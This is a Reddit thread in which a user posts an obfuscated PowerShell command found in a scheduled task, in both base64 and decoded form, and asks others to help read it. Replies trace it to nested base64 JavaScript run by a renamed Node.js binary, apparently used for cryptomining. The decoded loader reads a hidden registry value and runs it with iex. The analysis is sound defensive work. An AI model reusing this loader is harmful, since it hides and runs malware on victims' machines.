r/codebreaking • • Aug 01 '19

Windows powershell command

Found a task on a computer that ran this command with PowerShell:


JAB7AFIAYABFAGcAfQA9ACcASABLAEwATQAnADsAJAB7AHIARQBnAHAAYABBAGAAVABIAH0APQAnAFcAMQBWAFcARwBkAEEAZQBPAGEAJwA7ACQAewBSAEUARwBrAGAARQBgAHkATgBhAE0ARQB9AD0AJwBhAHcAVQBpAEwAWgBXAHcAVwA4ACcAOwAkAHsAcABBAHIAYABBAE0AfQA9ACcAXABNAGMAcgBrAHQAVQBaAHQAWQB5ACcAOwAkAHsAZgBgAFUAbABsAGAAUgBFAGcAfQA9ACQAewBSAGAAZQBnAH0AKwAnADoAJwArACgAKAAoACIAewA1AH0AewAyAH0AewAxAH0AewA0AH0AewAwAH0AewAzAH0AIgAgAC0AZgAnAGUAewAwACcALAAnAHQAJwAsACcAUwBvAGYAJwAsACcAfQAnACwAJwB3AGEAcgAnACwAJwB7ADAAfQAnACkAKQAgAC0ARgAgAFsAYwBoAEEAcgBdADkAMgApACsAJAB7AFIAZQBgAGcAUABBAGAAVABIAH0AOwAkAHsAZQB4AGAAcABgAFIAZQBTAHMASQBvAG4AfQA9ACgALgAoACIAewAxAH0AewA0AH0AewAyAH0AewAzAH0AewAwAH0AIgAtAGYAIAAnAHIAdAB5ACcALAAnAEcAJwAsACcALQBJAHQAZQBtAFAAJwAsACcAcgBvAHAAZQAnACwAJwBlAHQAJwApACAAJAB7AEYAVQBMAEwAYABSAGAARQBnAH0AKQAuACQAewBQAGAAQQBSAGAAQQBNAH0AOwAmACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAeAAnACwAJwBpAGUAJwApACgAJAB7AGUAeABgAHAAcgBFAFMAUwBgAGkATwBuAH0AKQA=


I ran it through a base64 converter, and got this:


${REg}='HKLM';${rEgpATH}='W1VWGdAeOa';${REGkEyNaME}='awUiLZWwW8';${pArAM}='\McrktUZtYy';${fUllREg}=${Reg}+':'+((("{5}{2}{1}{4}{0}{3}" -f'e{0','t','Sof','}','war','{0}')) -F [chAr]92)+${RegPATH};${expReSsIon}=(.("{1}{4}{2}{3}{0}"-f 'rty','G','-ItemP','rope','et') ${FULLREg}).${PARAM};&("{1}{0}"-f 'x','ie')(${exprESS`iOn})


I can sort of read parts of that, but not everything.

Can anyone help make this human readable?

Also, beware, this is possibly code installed by some sort of malware.

4 Upvotes

6 comments sorted by

View all comments

Show parent comment

1

u/41ststbridge Aug 02 '19

I found the JavaScript files it was pointing to.

In C:\Program Data was a folder SystemConfigInfo000 containing what appears to be a modified version of Node.js, named "oode.js". It was created on July 24th 2019. The system was handed to me on July 29.

The .js files themselves are crazy. Each one is a nested set of base64 commands. Parts of them translate easily, others do not.

Someone has put an insane amount of work into this, and I think the end goal was cryptomining.

I'll take your advice and post this a few more places.

Thanks for all your help.

1

u/[deleted] Aug 02 '19

cryptomining makes sense, its very trendy these days, and explains the necessity to have scripts to offload the data.

no worries at all, it was fun to get back into it a bit :)